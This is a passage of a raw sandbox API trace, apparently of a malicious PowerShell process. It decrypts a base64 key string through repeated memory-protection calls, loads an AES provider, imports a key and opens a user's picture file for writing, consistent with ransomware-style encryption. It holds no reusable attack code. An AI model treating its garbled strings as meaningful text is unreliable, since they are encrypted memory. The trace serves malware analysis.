MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.153] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0252.153] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0252.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0252.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0252.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0252.154] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.154] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0252.154] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0252.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0252.155] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.155] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0252.155] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0252.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0252.155] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.155] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0252.155] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0252.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0252.156] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.156] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0252.156] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0252.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0252.156] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.156] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0252.156] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0252.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0252.157] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.157] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0252.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0252.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0252.157] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.157] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0252.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0252.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0252.158] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0252.158] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0252.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0252.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0252.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0252.159] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.159] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0252.159] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0252.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0252.159] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.160] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0252.160] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0252.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0252.160] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.160] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0252.160] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0252.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0252.160] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0252.161] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0252.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0252.161] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.161] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0252.161] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0252.161] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0252.161] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.162] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0252.162] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0252.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0252.162] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.162] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0252.162] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0252.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0252.162] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.163] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0252.163] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0252.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0252.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0252.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0252.164] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.164] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0252.164] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0252.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0252.164] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.166] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0252.166] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0252.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0252.166] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.167] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0252.167] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0252.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0252.167] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.167] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0252.167] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0252.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0252.167] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.168] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0252.168] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0252.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0252.168] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.168] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0252.168] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0252.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0252.168] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.169] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0252.169] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0252.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0252.169] SystemFunction041 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.169] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0252.169] SystemFunction040 (in: Memory=0x3af504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af504) returned 0x0 [0252.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0252.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0252.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0252.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0252.170] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.170] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0252.170] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0252.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0252.171] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.171] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0252.171] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0252.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0252.171] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.171] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0252.172] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0252.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0252.172] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.172] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0252.172] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.172] EtwEventActivityIdControl () returned 0x0 [0252.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0252.172] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.173] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0252.173] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0252.175] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0252.177] CryptImportKey (in: hProv=0x5c4d298, pbData=0x245839c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99760) returned 1 [0252.178] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.179] EtwEventActivityIdControl () returned 0x0 [0252.179] EtwEventActivityIdControl () returned 0x0 [0252.179] EtwEventActivityIdControl () returned 0x0 [0252.234] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png")) returned 0x20 [0252.235] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png")) returned 0x20 [0252.235] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.235] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", lpFilePart=0x0) returned 0x2c [0252.236] EtwEventActivityIdControl () returned 0x0 [0252.236] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.237] EtwEventActivityIdControl () returned 0x0 [0252.237] EtwEventActivityIdControl () returned 0x0 [0252.237] EtwEventActivityIdControl () returned 0x0 [0252.238] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0252.238] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png", lpFilePart=0x0) returned 0x2c [0252.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0252.238] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz G.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\lxeycmb3cz g.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0252.239] GetFileType (hFile=0x364) returned 0x1 [0252.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0252.239] GetFileType (hFile=0x364) returned 0x1 [0252.239] EtwEventActivityIdControl () returned 0x0 [0252.239] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.239] EtwEventActivityIdControl () returned 0x0 [0252.239] EtwEventActivityIdControl () returned 0x0 [0252.239] EtwEventActivityIdControl () returned 0x0 [0252.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\LxEyCMb3cz 